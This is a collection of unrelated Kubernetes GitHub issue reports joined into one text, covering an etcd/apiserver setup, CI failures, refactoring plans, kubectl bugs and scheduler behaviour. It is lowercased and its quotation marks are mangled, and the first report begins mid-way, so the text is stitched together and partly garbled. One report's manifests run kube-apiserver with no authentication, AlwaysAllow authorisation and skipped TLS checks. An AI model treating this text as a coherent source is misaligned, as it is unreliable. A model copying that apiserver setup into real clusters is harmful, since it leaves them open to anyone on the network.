pci bridge: vmware pci express root port  rev 01 \r 00:18.1 pci bridge: vmware pci express root port  rev 01 \r 00:18.2 pci bridge: vmware pci express root port  rev 01 \r 00:18.3 pci bridge: vmware pci express root port  rev 01 \r 00:18.4 pci bridge: vmware pci express root port  rev 01 \r 00:18.5 pci bridge: vmware pci express root port  rev 01 \r 00:18.6 pci bridge: vmware pci express root port  rev 01 \r 00:18.7 pci bridge: vmware pci express root port  rev 01 \r 03:00.0 ethernet controller: vmware vmxnet3 ethernet controller  rev 01 \r   cat /proc/cpuinfo\r processor       : 0\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 0\r siblings        : 4\r core id         : 0\r cpu cores       : 4\r apicid          : 0\r initial apicid  : 0\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r processor       : 1\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 0\r siblings        : 4\r core id         : 1\r cpu cores       : 4\r apicid          : 1\r initial apicid  : 1\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r processor       : 2\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 0\r siblings        : 4\r core id         : 2\r cpu cores       : 4\r apicid          : 2\r initial apicid  : 2\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r processor       : 3\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 0\r siblings        : 4\r core id         : 3\r cpu cores       : 4\r apicid          : 3\r initial apicid  : 3\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r processor       : 4\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 1\r siblings        : 4\r core id         : 0\r cpu cores       : 4\r apicid          : 4\r initial apicid  : 4\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r processor       : 5\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 1\r siblings        : 4\r core id         : 1\r cpu cores       : 4\r apicid          : 5\r initial apicid  : 5\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r processor       : 6\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 1\r siblings        : 4\r core id         : 2\r cpu cores       : 4\r apicid          : 6\r initial apicid  : 6\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r processor       : 7\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 62\r model name      : intel r  xeon r  cpu e5-2660 v2 @ 2.20ghz\r stepping        : 4\r microcode       : 0x427\r cpu mhz         : 2199.010\r cache size      : 25600 kb\r physical id     : 1\r siblings        : 4\r core id         : 3\r cpu cores       : 4\r apicid          : 7\r initial apicid  : 7\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm ida arat epb pln pts dtherm\r bogomips        : 4400.00\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 40 bits physical, 48 bits virtual\r power management:\r \r  root@dpck8s1 k8s   cat /proc/meminfo\r memtotal:       16432648 kb\r memfree:         8963252 kb\r memavailable:   14295972 kb\r buffers:            1040 kb\r cached:          6003344 kb\r swapcached:            0 kb\r active:          3362512 kb\r inactive:        3322808 kb\r active anon :    1145916 kb\r inactive anon :   263440 kb\r active file :    2216596 kb\r inactive file :  3059368 kb\r unevictable:           0 kb\r mlocked:               0 kb\r swaptotal:       8388604 kb\r swapfree:        8388604 kb\r dirty:                12 kb\r writeback:             0 kb\r anonpages:        680936 kb\r mapped:           284312 kb\r shmem:            728420 kb\r slab:             519900 kb\r sreclaimable:     395080 kb\r sunreclaim:       124820 kb\r kernelstack:       10160 kb\r pagetables:        22952 kb\r nfs_unstable:          0 kb\r bounce:                0 kb\r writebacktmp:          0 kb\r commitlimit:    16604928 kb\r committed_as:    3729364 kb\r vmalloctotal:   34359738367 kb\r vmallocused:      172728 kb\r vmallocchunk:   34359341052 kb\r hardwarecorrupted:     0 kb\r anonhugepages:    155648 kb\r hugepages_total:       0\r hugepages_free:        0\r hugepages_rsvd:        0\r hugepages_surp:        0\r hugepagesize:       2048 kb\r directmap4k:      294848 kb\r directmap2m:    16482304 kb\r    \r \r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux dpck8s1 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r unzip server binaries\r \r - others:\r   etcd.yaml  \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: etcd\r     tier: control-plane\r   name: etcd\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - etcd\r     - --advertise-client-urls=http://10.0.112.151:2379\r     - --data-dir=/var/lib/etcd\r     - --listen-client-urls=http://10.0.112.151:2379,http://127.0.0.1:2379\r     image: quay.io/coreos/etcd:v3.1.18\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 10.0.112.151\r         path: /health\r         port: 2379\r         scheme: http\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     name: etcd\r     resources: {}\r     volumemounts:\r     - mountpath: /var/lib/etcd\r       name: etcd\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /var/lib/etcd\r       type: directoryorcreate\r     name: etcd\r status: {}\r    \r \r   kube-apiserver.yaml  \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-apiserver\r     tier: control-plane\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-apiserver\r     - --token-auth-file=/dev/null\r     - --service-cluster-ip-range=10.96.0.0/12\r     - --insecure-bind-address=10.0.112.151\r     - --insecure-port=8080\r     - --kubelet-https=false\r     - --secure-port=0\r     - --advertise-address=10.0.112.151\r     - --allow-privileged=true\r     - --authorization-mode=alwaysallow\r     - --etcd-servers=http://127.0.0.1:2379\r     image: gcr.io/google_containers/kube-apiserver:v1.11.0\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 10.0.112.151\r         path: /healthz\r         port: 8080\r         scheme: http\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     name: kube-apiserver\r     ports:\r     - name: https\r       hostport: 443\r       containerport: 443\r     - name: http\r       hostport: 8080\r       containerport: 8080\r     volumemounts:\r     - mountpath: /etc/pki\r       name: ca-certs-etc-pki\r       readonly: true\r     - mountpath: /etc/kubernetes/pki\r       name: k8s-certs\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ca-certs\r       readonly: true\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /etc/ssl/certs\r       type: directoryorcreate\r     name: ca-certs\r   - hostpath:\r       path: /etc/pki\r       type: directoryorcreate\r     name: ca-certs-etc-pki\r   - hostpath:\r       path: /etc/kubernetes/pki\r       type: directoryorcreate\r     name: k8s-certs\r status: {}\r    \r \r   kube-scheduler.yaml  \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-scheduler\r     tier: control-plane\r   name: kube-scheduler\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-scheduler\r     - --address=10.0.112.151\r     - --leader-elect=true\r     - --kubeconfig=/etc/kubernetes/scheduler.conf\r     image: gcr.io/google_containers/kube-scheduler:v1.11.0\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 10.0.112.151\r         path: /healthz\r         port: 10251\r         scheme: http\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     name: kube-scheduler\r     volumemounts:\r     - mountpath: /etc/kubernetes/scheduler.conf\r       name: kubeconfig\r       readonly: true\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/scheduler.conf\r       type: fileorcreate\r     name: kubeconfig\r status: {}\r    \r \r   kube-controller-manager.yaml  \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-controller-manager\r     tier: control-plane\r   name: kube-controller-manager\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-controller-manager\r     - --leader-elect=true\r     - --controllers= ,bootstrapsigner,tokencleaner\r     - --address=10.0.112.151\r     - --kubeconfig=/etc/kubernetes/controller-manager.conf\r     - --allocate-node-cidrs=true\r     - --cluster-cidr=10.244.0.0/16\r     - --node-cidr-mask-size=24\r     image: gcr.io/google_containers/kube-controller-manager:v1.11.0\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 10.0.112.151\r         path: /healthz\r         port: 10252\r         scheme: http\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     name: kube-controller-manager\r     volumemounts:\r     - mountpath: /etc/kubernetes/controller-manager.conf\r       name: kubeconfig\r       readonly: true\r     - mountpath: /usr/libexec/kubernetes/kubelet-plugins/volume/exec\r       name: flexvolume-dir\r     - mountpath: /etc/pki\r       name: ca-certs-etc-pki\r       readonly: true\r     - mountpath: /etc/kubernetes/pki\r       name: k8s-certs\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ca-certs\r       readonly: true\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/pki\r       type: directoryorcreate\r     name: k8s-certs\r   - hostpath:\r       path: /etc/ssl/certs\r       type: directoryorcreate\r     name: ca-certs\r   - hostpath:\r       path: /etc/kubernetes/controller-manager.conf\r       type: fileorcreate\r     name: kubeconfig\r   - hostpath:\r       path: /usr/libexec/kubernetes/kubelet-plugins/volume/exec\r       type: directoryorcreate\r     name: flexvolume-dir\r   - hostpath:\r       path: /etc/pki\r       type: directoryorcreate\r     name: ca-certs-etc-pki\r status: {}\r    \r \r   admin.conf  \r    \r apiversion: v1\r clusters:\r - cluster:\r     insecure-skip-tls-verify: true\r     server: http://10.0.112.151:8080\r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     user: kubernetes-admin\r   name: kubernetes-admin@kubernetes\r current-context: kubernetes-admin@kubernetes\r kind: config\r preferences: {}\r users:\r - name: kubernetes-admin\r   user: {}\r    \r \r this issue blocked my work for a whole week, all your help is appreciate!

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : ci-kubernetes-soak-gci-gce-beta\r \r   which test s  are failing  : all of them, the test fails to start\r \r   since when has it been failing  : nov. 21\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-release-1.13-all soak-gci-gce-1.13\r \r   reason for failure  :\r \r the test is apparently failing to even start:\r \r    \r failed loading kubeconfig: error during gsutil cp gs://kubernetes-e2e-soak-configs/ci-kubernetes-soak-gci-gce-beta/kube-config /workspace/.kube/config: exit status 1\r    \r \r   anything else we need to know  :\r \r there's two unresolved test-fail issues on that job currently being worked on, so we need that job running to see if they're fixed for release.\r \r <!-- do not edit below this line -->\r   / \r attn:\r @amwat @rahulmahale @aishsundar \r \r /assign @cjwagner

what would you like to be added  :\r as part of https://github.com/kubernetes/kubernetes/issues/76206, we agreed that breaking up  logf  into it's own package would be ideal. the main benefit is that we are breaking potential import cycles that occur from having  logf  in  test/e2e/framework .  we now need to go through all the e2e tests that use  framework.logf  and replace it with  logf  in  test/e2e/framework/log . \r \r @draveness already added a new log package in https://github.com/kubernetes/kubernetes/pull/77184. and here https://github.com/kubernetes/kubernetes/issues/77095 issuecomment-487803247 he broke down what tests need to be updated to use the new logger package in  test/e2e/framework/log . \r \r -     test/e2e_node  @draveness \r -     test/e2e  @draveness \r -     test/e2e/ui  @draveness \r -     test/e2e/scheduling  @draveness \r -     test/e2e/framework/ingress  @draveness \r -     test/e2e/framework/providers  @draveness \r -     test/e2e/framework/deployment  @draveness \r -     test/e2e/framework/replicaset  @draveness \r -     test/e2e/framework/volume  @draveness \r -     test/e2e/auth  @johnschnake \r -     test/e2e/cloud  @lledru \r -     test/e2e/network  @johnschnake \r -     test/e2e/lifecycle  @jiatongw \r -     test/e2e/storage  @johnschnake \r -     test/e2e/storage/vsphere  @johnschnake \r -     test/e2e/storage/testsuites  @johnschnake \r -     test/e2e/instrumentation  @figo \r -     test/e2e/common  @johnschnake \r -     test/e2e/scalability  @johnschnake \r -     test/e2e/upgrades  @johnschnake \r -     test/e2e/node  @johnschnake \r -     test/e2e/windows  @johnschnake \r -     test/e2e/autoscaling  @johnschnake \r -     test/e2e/kubectl  @jiatongw \r -     test/e2e/apps  @figo \r -     test/e2e/apimachinery  @figo \r \r please comment below on what packages you would like to refactor\r \r   why is this needed  :\r this is part of https://github.com/kubernetes/kubernetes/issues/75601 to refactor / clean up the testing e2e framework.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : run  hack/update-vendor-licenses.sh  on macos, all md5 hashes will be stripped from the output and the script will not fail or warn.\r \r   what you expected to happen  : the script should work or detect this issue and fail. currently it silently ignores  md5sum  not existing on the host. \r \r we have some warning logic, but solely based on bash version, if the user upgraded their bash installation but did not install md5sum we don't warn them.\r \r   how to reproduce it  as minimally and precisely as possible   : run the script\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r \r  / /assign

in many examples we use \ kubectl logs\  to show container output:      examples/cluster-dns/readme.md:$ kubectl logs dns-frontend examples/downward-api/readme.md:$ kubectl logs dapi-test-pod | grep pod_ examples/hazelcast/readme.md:$ kubectl logs hazelcast-ulkws hazelcast examples/mysql-wordpress-pd/readme.md:$ kubectl logs mysql examples/phabricator/readme.md:$ kubectl logs phabricator-controller-02qp4 examples/secrets/readme.md:$ kubectl logs secret-test-pod examples/spark/readme.md:$ kubectl logs spark-master      quite often  for me - maybe once every 20-50 executions - i found it by an automated test  \ kubectl logs\  gives an empty output. the reason is that the docker log file has been rotated in the meantime.  examples in the current form may be confusing for our users because they will not get the desired output.  the problem affects also our tests for examples, because they will be flaky if we assume we'll get some output form \ kubectl logs\ .

pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command                                                                                                                   17083 root      20   0 2050468 936012   7708 s 178.7 49.8  14:16.87 kubelet                                                                                                                   31383 root      20   0  192248   9072   4636 s   9.6  0.5   0:33.87 flanneld                                                                                                                    418 root      20   0   63848  14172  11904 s   3.3  0.8   0:26.42 systemd-journal      i reported almost same bug for flannel and found that problem appears when node's system time is in far future from master on which etcd is running. this happens after restore cluster from snapshot. it looks like kubelet has this bug too.  link to my bug for flanneld  for more description : https://github.com/coreos/flannel/issues/337  possible this https://github.com/kubernetes/kubernetes/issues/15528 bug may be for the same reason.

i'm using gke and kubernetes 1.0.6 and i read in the  docs  https://github.com/kubernetes/kubernetes/blob/release-1.0/docs/design/simple-rolling-update.md aborting-a-rollout  that you should be able to rollback a release like this:      bash $ kubectl rolling-update foo  foo-v2  --rollback      however i don't get this to work. i'm initializing a rolling-update like this:      bash $ kubectl rolling-update app-v1 -f app-rc-v2.yaml      i deliberately abort the update  ctrl+c  when i see that app-v2 is being deployed:      bash app-v1-fstog         1/1       running   0          12m app-v1-ye2lu         1/1       running   0          11m app-v2-fzlyw         0/1       running   0          6s      now i want to rollback the update but i'm unable to do this. this is what i've tried: 1. trying to rollback according to the  documented instructions  https://github.com/kubernetes/kubernetes/blob/release-1.0/docs/design/simple-rolling-update.md aborting-a-rollout :            bash    $ kubectl rolling-update app-v1 app-v2 --rollback               this fails with the following error message:            bash    error: must specify --filename or --image for new controller    see 'kubectl rolling-update -h' for help.        2. try to rollback using the previous replication controller yaml file:            bash    kubectl rolling-update app-v2 -f app-rc-v1.yaml --rollback               this fails with the following error message:            bash    error: app-rc-v1.yaml cannot have the same name as the existing replicationcontroller app-v1    see 'kubectl rolling-update -h' for help.        3. try to rollback using the new replication control yaml file:            bash    kubectl rolling-update app-v1 -f app-rc-v2.yaml --rollback               this fails with the following error message:            bash    continuing update with existing controller app-v1.    error: missing/unexpected annotations for controller app-v1, expected app-v2: : map kubectl.kubernetes.io/update-source-id:app-v2:          i'm out of ideas on how to perform the rollback. am i miss-interpreting the documentation or is there something else that is wrong?

i tried doing the wordpress example on my mac using the local docker cluster.  when i create the service, it does not assign an \ external-ip\ , only a \ cluster-ip\ .  it would be great if the local dev k8s supported our examples  minus gce specific stuff such as pvcs .

i experienced that the kubernetes scheduler doesn't redistribute pods of a service across multiple nodes after suspended or shutdown vms come back on-line. this isn't a problem with clusters with high number of nodes but in small clusters with 2 or 3 nodes, it is a problem in the sense that n+1 fault tolerance is not guaranteed for services. i was able to arrive at situation where all pods of a service are placed on the same node, and there is no timeout handler that triggers the scheduler to relocate the pods.   i have experienced the same scheduler behavior with juju as kubernetes provider and also in google container engine. in the latter environment, gke shutdowns the single node were all pods of a service were located, leading to temporary unavailability of the service.  below you find my findings in juju and gke    juju  i have an openstack environment with 3 kubernetes units, and a redis service deployed with 4 replicated pods      ubuntu@juju-openstack-machine-5:~$ kubectl get nodes name            labels                                 status    age 172.17.13.141   kubernetes.io/hostname=172.17.13.141   ready     1d 172.17.13.144   kubernetes.io/hostname=172.17.13.144   ready     1d 172.17.13.145   kubernetes.io/hostname=172.17.13.145   ready     1d  ubuntu@juju-openstack-machine-5:~$ kubectl get services name          cluster_ip    external_ip   port s      selector                            age kubernetes    10.1.0.1      <none>        443/tcp     <none>                              1d redis-slave   10.1.2.166    <none>        6379/tcp    app=redis,role=slave,tier=backend   1d  ubuntu@juju-openstack-machine-5:~$ kubectl get rc controller    container s    image s                                  selector                            replicas   age redis-slave   slave          gcr.io/google_samples/gb-redisslave:v1   app=redis,role=slave,tier=backend   4          1d      first when i suspend 2 machines in my openstack dashboard, all pods are placed on the remaining machine after a timeout of 5 minutes..  then, when i resume the two suspended machines in my openstack dashboard,  the pods are not replicated across different machines to ensure fault tolerance of services i thought the specification of scheduling entails that when you create a service and thereafter a replicacontroller, pods should always be placed on different machines if that is possible however, this behavior does not occur. below you find some command output for the redis-slave service which have 4 replicated pods.  it shows that all 4 pods are placed on the same machine.      ubuntu@juju-openstack-machine-5:~$ kubectl describe pod -l app=redis | grep node node:                           172.17.13.144/172.17.13.144 node:                           172.17.13.144/172.17.13.144 node:                           172.17.13.144/172.17.13.144 node:                           172.17.13.144/172.17.13.144        gke  i found out that the reported behavior of kubernetes juju bundle also appears in google container engine. see attached raw file.  below i describe the findings  this was my initial desired state:       centos@public-kubernetes-gw ~ $ kubectl get nodes name                               status    age gke-cluster-1-09071288-node-7mmj   ready     1m gke-cluster-1-09071288-node-buym   ready     1m gke-cluster-1-09071288-node-demf   ready     1m  centos@public-kubernetes-gw ~ $ kubectl run nginx --image nginx --port=80 deployment \ nginx\  created  centos@public-kubernetes-gw ~ $ kubectl describe pods -l run | grep node node:           gke-cluster-1-09071288-node-7mmj/10.128.0.2  centos@public-kubernetes-gw ~ $ kubectl scale deployment nginx --replicas=0 deployment \ nginx\  scaled  centos@public-kubernetes-gw ~ $ kubectl expose deployment nginx service \ nginx\  exposed  centos@public-kubernetes-gw ~ $ kubectl scale deployment nginx --replicas=3 deployment \ nginx\  scaled  centos@public-kubernetes-gw ~ $ kubectl describe pods -l run | grep node node:           gke-cluster-1-09071288-node-7mmj/10.128.0.2 node:           gke-cluster-1-09071288-node-demf/10.128.0.4 node:           gke-cluster-1-09071288-node-buym/10.128.0.3      then i suspended 2 machines via the google cloud engine dashboard. these machines were automatically restarted by google container engine  at a certain moment i reached the following state:       centos@public-kubernetes-gw ~ $ kubectl get nodes name                               status    age gke-cluster-1-09071288-node-7mmj   ready     1m gke-cluster-1-09071288-node-buym   ready     4m gke-cluster-1-09071288-node-demf   ready     22m  centos@public-kubernetes-gw ~ $ kubectl describe pods -l run | grep node: node:           gke-cluster-1-09071288-node-demf/10.128.0.4 node:           gke-cluster-1-09071288-node-demf/10.128.0.4 node:           gke-cluster-1-09071288-node-demf/10.128.0.4      then google container engine's behavior diverted from the kubernetes-core bundle. in fact google container engine did something very surprising: it suspended the machine where all 3 replicas were placed:       centos@public-kubernetes-gw ~ $ kubectl get nodes name                               status     age gke-cluster-1-09071288-node-7mmj   ready      5m gke-cluster-1-09071288-node-buym   ready      8m gke-cluster-1-09071288-node-demf   notready   26m  centos@public-kubernetes-gw ~ $ kubectl describe pods -l run | grep node: node:           gke-cluster-1-09071288-node-demf/10.128.0.4 node:           gke-cluster-1-09071288-node-demf/10.128.0.4 node:           gke-cluster-1-09071288-node-demf/10.128.0.4      at this point the nginx service was unavailable:       centos@public-kubernetes-gw ~ $ kubectl describe pods -l run | grep ip: ip: ip: ip:      i think google container engine suspended 10.128.0.4 in order to trigger the replication controller  aka deployment manager  to redistribute the pods. indeed after some time        centos@public-kubernetes-gw ~ $ kubectl describe pods -l run | grep ip: ip:             10.0.1.2 ip:             10.0.1.3 ip:             10.0.0.4  centos@public-kubernetes-gw ~ $ kubectl describe pods -l run | grep node: node:           gke-cluster-1-09071288-node-7mmj/10.128.0.2 node:           gke-cluster-1-09071288-node-7mmj/10.128.0.2 node:           gke-cluster-1-09071288-node-buym/10.128.0.3  centos@public-kubernetes-gw ~ $ kubectl get nodes name                               status     age gke-cluster-1-09071288-node-7mmj   ready      10m gke-cluster-1-09071288-node-buym   ready      13m gke-cluster-1-09071288-node-demf   notready   31m        summary  i think there is an issue with kubernetes. i had a look at how the scheduler of kubernetes is designed it is policy-configurable and extensible.   the default policy of the scheduler corresponds with the policy below. as you can see, the scheduler policy would definitively change the situation where all pods of a service run a single node and the other nodes are idle.  so the question is: why is the scheduler never invoked to change that situation in the kubernetes-core bundle?   in google container engine scenario, a too drastic approach is taken to trigger the scheduler: shutting down that single node in order to let the scheduler become active.       {     \ kind\  : \ policy\ ,     \ version\  : \ v1\ ,     \ predicates\  :           {\ name\  : \ podfitsports\ },         {\ name\  : \ podfitsresources\ },         {\ name\  : \ nodiskconflict\ },         {\ name\  : \ matchnodeselector\ },         {\ name\  : \ hostname\ }      ,     \ priorities\  :           {\ name\  : \ leastrequestedpriority\ , \ weight\  : 1},         {\ name\  : \ balancedresourceallocation\ , \ weight\  : 1},         {\ name\  : \ servicespreadingpriority\ , \ weight\  : 1}       }       googlecontainerengine.txt  https://github.com/kubernetes/kubernetes/files/200250/googlecontainerengine.txt

the current  makefile  for  kubectl-container  fails when built on any platform other than  linux/amd64  due to hardcoded path.    proposed change  fix container &  kubectl  build on other platforms  such as osx \  darwin\   by: - use   ../../hack/lib/util.sh  function:  kube::util::host_platform   https://github.com/kubernetes/kubernetes/blob/master/hack/lib/util.sh l121  to detect platform -  make  host_platform  a variable  https://github.com/kubernetes/kubernetes/compare/master...trinitronx:fix-kubectl-container-build-on-other-platforms?expand=1  set to output of  kube::util::host_platform  - fix auto-generated tag name to convert invalid character  +  to  -  for docker image tag  i've coded this change in my fork here:   trinitronx/kubernetes@fix-kubectl-container-build-on-other-platforms   https://github.com/kubernetes/kubernetes/compare/master...trinitronx:fix-kubectl-container-build-on-other-platforms?expand=1 .  i have also signed the individual cla.

i'm wondering, why do kubelet/kube-proxy need to have  --api_servers  defined explicitly as a command line argument and not use  server  in cluster config of the  kubeconfig  file.  generally kubelet will not be able to talk to api server due to missing certificates or credentials, so why don't use server from kubeconfig rather than from command line?   i've tried to set it in kubeconfig removing command line argument, and i've got:      jun 20 04:08:18 master kubelet 12090 : w0620 04:08:18.848294   12090 server.go:611  no api server defined - no events will be sent to api server.      instead of expected server defined in the cluster for current context.

right now it is not supported:  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/resource/builder.go l546-l552

